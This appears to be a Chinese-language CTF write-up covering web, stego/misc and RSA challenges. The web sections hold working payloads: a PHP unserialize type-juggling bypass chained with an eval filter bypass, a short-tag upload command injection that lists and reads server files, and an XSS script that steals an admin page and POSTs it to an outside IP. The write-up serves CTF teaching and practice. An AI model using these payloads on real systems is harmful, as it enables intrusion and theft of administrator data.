WEB1
<?php
highlight_file(__FILE__);
$username = str_shuffle(md5("admin"));
$password = str_shuffle(md5("root"));
$login = false;
if (isset($_GET['str'])) {
$str = $_GET['str'];
$unserialize_str = unserialize($str);
if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
$login = true;
}
}
if ($login && isset($_GET['code'])) {
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if (!preg_match('/highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode/i', $_GET['code'])) {
eval($_GET['code']);
} else {
echo "含有危险函数" . "<br/>";
}
} else {
echo "不符合正则表达式" . "<br/>";
}
}
题目可分为两部分,一是通过if语句判断使$login
的值变为true
,二是通过eval
函数执行我们想要的代码拿到flag
$unserialize_str = unserialize($str);
if ($unserialize_str['username'] == $username && $unserialize_str['password'] == $password) {
$login = true;
}
虽然我们不知道$usernam
和$password
的值,但可以在if语句中使用的判断为==
由于php是弱类型语言,所以bool值为true的变量和任何变量比较都相等,除了0和false,因为0认为是bool false
由此构造$str
<?php
$a = array(
"username" => true,
"password" => true
);
echo serialize($a);
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
这样便能使$login
被赋值为true
接下来要执行eval
函数,需要通过两个if语句
/[^\W]+\((?R)?\)/
要匹配无参数的函数,函数内部可以无限嵌套相同的模式,也就是说只匹配字符串+()
的类型,并且括号内为空字符串
或字符串+()
- 不能使用
highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode
这些危险函数,包括大小写
scandir()
函数返回指定目录中的文件和目录的数组,所以scandir('.')
会返回当前文件所在文件夹的目录
var_dump(scandir(‘.’));
但这样无法通过正则表达式,需要讲scandir内部替换为/[^\W]+\((?R)?\)/
chr()
函数会返回指定的 ASCII 值对应的字符,而.
对应的ASCII值为46
由此构造出:var_dump(scandir(chr(46)));
现在只需要想办法讲构造出一个返回值为46的嵌套函数即可。
查看php版本
?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=phpinfo();
版本号为:7.2.24
phpversion()
返回7.2.24-0ubuntu0.18.04.7
floor(phpversion())
返回7
sin(floor(phpversion()))
返回0.65698659871879
sin(sin(floor(phpversion())))
返回0.61073350824527
cos(sin(sin(floor(phpversion()))))
返回0.81922759437835
rad2deg(cos(sin(sin(floor(phpversion())))))
返回46.938283618535
floor(rad2deg(cos(sin(sin(floor(phpversion()))))))
返回46
这样便构造出46
了
?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=var_dump(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion())))))))));
返回
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(9) "index.php" [4]=> string(16) "this_is_flag.php" }
flag在this_is_flag.php
中,刚好在最后一个文件,通过end()
读取最后一个文件,再通过show_source()
打印,这样就得到最终的payload:
?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=show_source(end(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion()))))))))));
附:
php 5.x
?code=var_dump(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion())))))))));
?code=show_source(end(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion()))))))))));
WEB2
红明谷签到,WP都发到群里面了没人看。
- 简单题
- 用短标签绕过对php的过滤,
$IFS$9
代替空格。
?action=upload&data=<?=`ls\$IFS\$9/`?>
- 直接得到文件列表
!whatyouwantggggggg401.php
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
- 直接用通配符读就好了
?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>
WEB3
- 转义单引号然后注释掉后面的单引号成功逃逸,最后or拼接导致逻辑为真。登录。
- 提示管理员每条都看,直接XSS先看看行不行,服务器监听一个端口:

- 构造JS代码,提交至后台

- 监听到管理员通过这个页面执行了这个JS

- 构造XHR直接窃取管理员界面,xss.js
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
if (xmlHttp.readyState == 4) {
code=escape(xmlHttp.responseText);
createXmlHttp();
url = "http://39.107.126.173:28901/xss.php"; //这里是我们服务器接受的地址
cc = "htmlcode=" + code +"&filename=index.html";
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send(cc)
}
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
xmlHttp.send(null);
- 接受页面脚本:
<?php
function js_unescape($str) {
$ret = '';
$len = strlen($str);
for ($i = 0;$i < $len;$i++) {
if ($str[$i] == '%' && $str[$i + 1] == 'u') {
$val = hexdec(substr($str, $i + 2, 4));
if ($val < 0x7f) $ret.= chr($val);
else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f));
else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f));
$i+= 5;
} else if ($str[$i] == '%') {
$ret.= urldecode(substr($str, $i, 3));
$i+= 2;
} else $ret.= $str[$i];
}
return $ret;
}
$data = js_unescape($_POST['htmlcode']); //对获得源码js_unescape解码。
$filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html";
$myfile = fopen($filename, "w");
fwrite($myfile, $data);
fclose($myfile);
?>
- 再次提交XSS攻击代码

- 窃取到管理员页面源码得到flag:

隐藏的书
- 这个字段如果是奇数那就可能是伪加密,改成偶数解压

- 根据期刊论文编写脚本,解码就得到flag
<?php
/**
* @param [String] Strings that need to be Unicode encoded。
* @author [name] Gqleung
* @date 2021-03-30 10:22:46
*/
function UnicodeEncode($str){
preg_match_all('/./u',$str,$matches);
$unicodeStr = "";
foreach($matches[0] as $m){
$unicodeStr .= "\\u".substr('0000'.base_convert(ord($m),10,16),-4);
}
return $unicodeStr;
}
/**
* @param [String] Strings that need to be Unicode Decoded。
* @author [name] Gqleung
* @date 2021-03-30 10:22:46
*/
function UnicodeDecode($str){
$result='';
$UnicodeStrArry = explode('\\u', $str);
foreach ($UnicodeStrArry as $value) {
if(empty($value))
continue;
$result .= chr(base_convert($value,16,10));
}
return $result;
}
/**
* @param [String] Strings that need to be Unicode Decoded。
* @param [String]
* @return [type]
*/
function encrypt($laws,$Hiddentext){
$secret="";
for($i=0;$i<strlen($Hiddentext);$i++){
$temp = ord($Hiddentext[$i]);
$temp = base_convert($temp,10,2);
$temp = substr('00000000'.$temp,-8);
$temp = str_split($temp,4);
foreach ($temp as $value) {
$secret .= "\\u".substr('0000'.base_convert($value,2,16),-4);
}
}
$secret = UnicodeDecode($secret);
$Ci = explode(".",$laws);
$Ca = $Ci[0].".";
$Cb = $Ci[1];
$Ciphertext = $Ca.$secret.$Cb;
return $Ciphertext;
}
function decrypt($Ciphertext){
$tmp = "";
$laws = "";
for($i=0;$i<strlen($Ciphertext);$i++){
if(!(32<ord($Ciphertext[$i])&&ord($Ciphertext[$i])<127)){
$tmp .= UnicodeEncode($Ciphertext[$i]);
}
}
$tmp = explode('\u',$tmp);
$m='';
for($i=0;$i<count($tmp);$i++){
if(empty($tmp[$i]))
continue;
$t = substr('0000'.base_convert($tmp[$i],16,2),-4);
$m .= $t;
if(strlen($m)==8){
$laws.=chr(base_convert($m,2,10));
$m='';
}
}
return $laws;
}
//$a = encrypt("Hello.Gzmtu",$flag = "flag{8f807f74-9088-11eb-b255-00163e0620b4}");
echo decrypt(file_get_contents('flag.txt'));
?>
你能看到图片里的flag吗
用Stegsolve打开key.gif
查看详细信息,发现不是每一帧的时间都相同,时间间隔不是20就是30,考虑gif时间隐写
用kali自带的工具提取时间间隔
identify -format "%T" key.gif
得到:
20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030
将20
替换为0
,30
替换为1
<?php
$a = "20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030";
$a = str_replace('20', '0', $a);
$a = str_replace('30', '1', $a);
echo $a;
得到:
0110110101100100001101010101111101101000011001010111001001100101
通过网站在线转换二进制到字符串:http://www.txttool.com/wenben_binarystr.asp,得到:
md5_here
md5加密后得到:
623a3f3d828099e440475ce285c341ac
即为hint.rar
的密码
解压之后得到两个文件
- hint.txt
使用邻近法放缩图片
图片的宽度和高度在width_height.txt
- width_height.txt
显然width_height.txt
是一组坐标的集合,通过python将这些坐标输出到图片上
from PIL import Image
img = Image.new('RGB', (200, 200), (0, 0, 0))
f = open('width_height.txt')
for line in f.readlines():
point = line.split()
img.putpixel((int(point[0]), int(point[1])), (255, 255, 255))
f.close()
img.show()
会得到一张二维码
扫码得到:
width:192 height:90
最后通过PS打开flag.png
,按住Ctrl+alt+I
调整图片大小
宽度:192,高度:90,使用近邻法放缩
- flag
flag{Th1s_1s_4_h1dden_F14g}
神秘的铃声
解压得到flag.wav
文件010打开存在一个base64
- 扔Burpsuite解码是PK头说明是ZIP文件,右键Copy to file保存为ZIP文件


- 但是解压需要密码:

- 刚刚那是一个WAV文件播放是一段DTMF音频,也就是电话机按键的声音,珠海教案有提到一个网站能够识别这个音频,当然也可以写脚本识别。

- 解码得到压缩包密码:D#*C9A16B

- 解压得到flag.txt是一串坐标,将其转换为图片得到二维码扫码得到flag:
from PIL import Image
img = Image.new('RGB',(500,500),(0,0,0))
#创建Image对象
f = open('flag.txt')#打开flag.txt文件
for line in f.readlines():
point = line.split()
img.putpixel((int(point[0]),int(point[1])),(255,255,255))
#读取文件中的每一行,并修改像素
f.close()
img.show()

神秘的网站
- 扔到wireshark分析根据题目提示是一个神秘的网站,只需要找HTTP即可。hint提示了上传包那么:直接filter过滤出所有POST协议迅速就能找到上传包。

- 追踪HTTP流发现存在ZIP文件

- 找到数据包中的ZIP导出为分组字节流保存为zip 文件

- 得到一个文件和一张图片

- 图片只能看到一部分说明chunk被破坏过用010打开可以发现chunk4长度很奇怪应该被改过

- 将其改大可以恢复图片得到一串字符串

- 还有一个文件结合信条这部电影讲述的就是倒过来的世界所以flag文件可能就是倒过来的文件。

- 可以看到文件结束是KP可能是PK的倒置,我们写个脚本将其倒置回来:
<?php
$a = file_get_contents('flag');
file_put_contents("flag.zip",strrev($a));
?>
- 得到压缩包,压缩包密码就是图片中那串字符串。解压得到一个音频:

- 同样她也是倒放的音乐,咱们直接将其还原为正常的音乐,使用AU

- 倒置后网易云识别

- 评论区拿flag:

数学很重要
需要分解n,得到p和q,才能拿到m,即flag
在题目中有:d = gmpy2.invert(e, p*(p-1)*(q-1))
由此来推导模数n的分解:
$$
e * d = k * p * (p-1) * (q-1) + 1
$$
$$
(e * d)^e = [k * p * (p-1) * (q-1) + 1]^e
$$
$$
(e * d)^e = K * p + 1
$$
$$
(e * d)^e % n = (K * p + 1) % n
$$
$$
(e^e % n * d^e % n) % n = (K * p + 1) % n
$$
$$
(e^e * d^e % n) % n = (K * p + 1) % n
$$
$$
(e^e * d^e % n - 1) % n = (K * p) % n
$$
$$
(e^e * d^e % n - 1) + t*n = K * p
$$
$$
\frac{1}{K} * (e^e * d^e % n - 1) + \frac{t}{K}*n = p
$$
$$
p = gcd((e^e * d^e % n - 1) % n, n)
$$
$$
p = gcd((e^e * hint - 1) % n, n)
$$
至此可以分解n = p * p * q
,进而求出m
import gmpy2
import libnum
n = 1404864792885309108733640159316826506894236287548379939152849016743435983442699747921846125787195996033503870282773818470039914142701705451809138397049630572740639249477647644261254708528772540978792294225346035639261591427432057453936860038832354440430427494151140007167188185298912810715582637875006928402468687609650245843893636726667943630230916699610263246417106899540475644300775129490776223094431047266427439282518682724978986466077711523145747674327332051810519026006226118101950866725315377926329640394039034742537816196415220996830129516878556074570587486143579684121551028517709279020939236578960627017120428642424734081608822839438555638805913188881032407815526804750217289667978469999465893012019987646121081067553285784264938579036090518539835310642939403312387248525506990916704179728785567091817175793341264114889237623098808526580508172221259938132204690459668424325728699548951520597516996306695162612026923
c = 1056621132858553337843799531931829780532909526893598349757065810082614861897005399538516022339385456921080981930134553531451997667616780694476473935635850906657287327947505250813121839115712839784961838878589687696392168999007259428943177170885096149257761111375426947276207008555385135699868532336069097451167698609146202623839343749042437332344304731408930972252319186875629139934202497457999728524999876011248799301721947182662277983045924969387711620125568428544081394563081888004751018879893766348092204921968270651820590342957624989796768741978229821705472159840676453778980085893882942690791813978120574188104366811115515943434915719899354094207665657376073518852691150218789684229024823845100939031274257318172046382806032216330957494501967155244691377918879968703887945579606252867891939345438276905409978552743142300094751510214632116779662364652019422074762160221347591144466572300812675526052926724548943468469723
hint = 101794688716785217887960897945591243956989900037427176767666512559791995985108215779421011313213384758689708929722203071477840953013038647100924911493828188106127504843466854689586463951519895573419515062134362771498167243657486890676780200214663789335950289873729808283135837361560831229580803000690276177751767706193356374011845264745277604824551554541736615017289493676579496259064630875246918064858049304827949231835533001170204905788972411679518681180136352305431808979840858420025675441100205234779010351872551760580862818923553046506121627173411616799109177911982734522304097798381596915860520993100826264630451736911320052426159472868988436162344618566093403661349180934448297588983261629039054368903969451215957019928944985865422734016492501757272819066148585342366043951355199543153844023840418108988483011676230567828688205989252493165991940377092334291423942549979314542332470846061006424871389380351025361150311
e = 0x10001
p = gmpy2.gcd((pow(e, e) * hint - 1) % n, n)
q = n // pow(p, 2)
phi = p*(p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
- flag
flag{Mathematics_is_very_important!}
easyRSA
已知c、e、n1、n2,只要能够分解n1,就能够拿到flag
在题目中n1和n2共用一个大质数p,所以n1和n2的最大公因数即为p,这样就能分解n1了
import gmpy2
import libnum
e = 65537
n1 = 19927995886914135335416406082647120895619334038709715664270614604151473749182691765161766917756826761209408429340053534661116540440455731883912107733536490306892185777306017692334819486621137392115368637822832208615896079869167332092773633150006570996052837028257313679389522817781164233607188350606757597836490056930318266077647703629309920052447748365274174530490094908252256551706625163193805930254664728936230312618043386165963458944225026036816776258340041222542638064896328642143272486093326421275373201421890802797828158807121957406664052135737278317985129996476960525575320786302386904366901933941877871977923
n2 = 18891582332322922179757256935338383228362622765536723954262749118724360227437890613511811834258619933112000032816774390665802252670355559592889246899049387975273869584023100438870426265843757686044290924963164327025399130980205072334359825236874676865799829315906270559180981769846264222745663893031262917781276708151305378259082579089031371101323253330053986819164120184785001094503410745573822883437760154804937523455385157947633996347870180978374764506128842545299334183115882288528664242409706229889871455032394406814666870814759869179655535890356720047754561351306758635949531548031922969386197250253432717160713
c = 13464724434881083014378360688491414344998156133411847847874051353940035862995104112542330206199732554180770508723141951625606376158124527681508374976085150535523169426812879850201999337951347258663163526945777620586135979743047015305904146804741356004618021619877806139998460893541631182931447449498967591502111403371136690476476964569301404706879044022446236796126968424261474149501366709514040581812492269780027443526915046387838380291031527967274048028552563236517463115042981801314702717397461735551656092225777678039402709019728332707310411968980746101194493745338399939010674127078293589259391068943187148009190
p = gmpy2.gcd(n1, n2)
q = n1//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n1)
print(libnum.n2s(int(m)))
- flag
flag{u5e_the_s4me_p}
##